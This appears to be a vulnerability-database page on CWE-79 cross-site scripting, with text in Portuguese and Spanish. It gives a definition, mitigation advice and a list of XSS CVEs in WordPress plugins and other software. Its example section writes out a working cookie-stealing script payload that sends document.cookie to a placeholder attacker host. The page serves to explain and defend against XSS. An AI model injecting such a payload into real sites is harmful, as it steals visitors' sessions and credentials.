Fallos del tipo CWE-79

30.301 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-33975HIGHCross-site Scripting in Janobe E-Negosyo SystemEPSS 0.3%CVE-2025-65675MEDIUMStored Cross site scripting (XSS) vulnerability in Classroomio LMS 0.1.13 allows authenticated attackers to execute arbitrary code via craftEPSS 0.3%CVE-2025-64027MEDIUMSnipe-IT v8.3.4 (build 20218) contains a reflected cross-site scripting (XSS) vulnerability in the CSV Import workflow. When an invalid CSV EPSS 0.3%CVE-2024-38697MEDIUMWordPress Goftino plugin <= 1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11876MEDIUMKredeum NFTs, the easiest way to sell your NFTs directly on your WordPress site <= 1.6.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-56019MEDIUMWordPress Inline Footnotes Plugin <= 2.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0598HIGHStored Cross-site Scripting (XSS) vulnerability affecting Relations in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2026-85229MEDIUMApache SkyWalking: CWE-79 stored XSS in Booster UI dashboard widgets (incomplete fix of CVE-2025-54057)EPSS 0.3%CVE-2024-6179MEDIUMXSS vulnerability in LG SuperSign CMSEPSS 0.3%CVE-2026-89427MEDIUMAd Inserter <= 2.8.18 - Reflected Cross-Site Scripting via 's' Search ParameterEPSS 0.3%CVE-2026-10857MEDIUMReflected XSS in Akinsoft's e-CommerceEPSS 0.3%CVE-2026-1025MEDIUMMultiple vulnerabilities affect IBM License Key Server Administration and Reporting Tool and IBM LKS Administration AgentEPSS 0.3%CVE-2024-49255MEDIUMWordPress Da Reactions plugin <= 5.1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43278MEDIUMWordPress Meta Field Block plugin <= 1.2.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-54683MEDIUMWordPress WP Modal Popup with Cookie Integration Plugin plugin <= 2.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-75307MEDIUMzhitan-ems 1.0.0 is vulnerable to Cross Site Scripting (XSS) via SVG file upload through the /equipmentFile/upload endpoint.EPSS 0.3%CVE-2025-8567MEDIUMNexter Blocks <= 4.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2025-5488MEDIUMWP Masonry & Infinite Scroll <= 2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-7957MEDIUMShortcodeHub <= 1.7.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via author_link_target ParameterEPSS 0.3%CVE-2024-34766MEDIUMWordPress ChaosTheory theme <= 1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%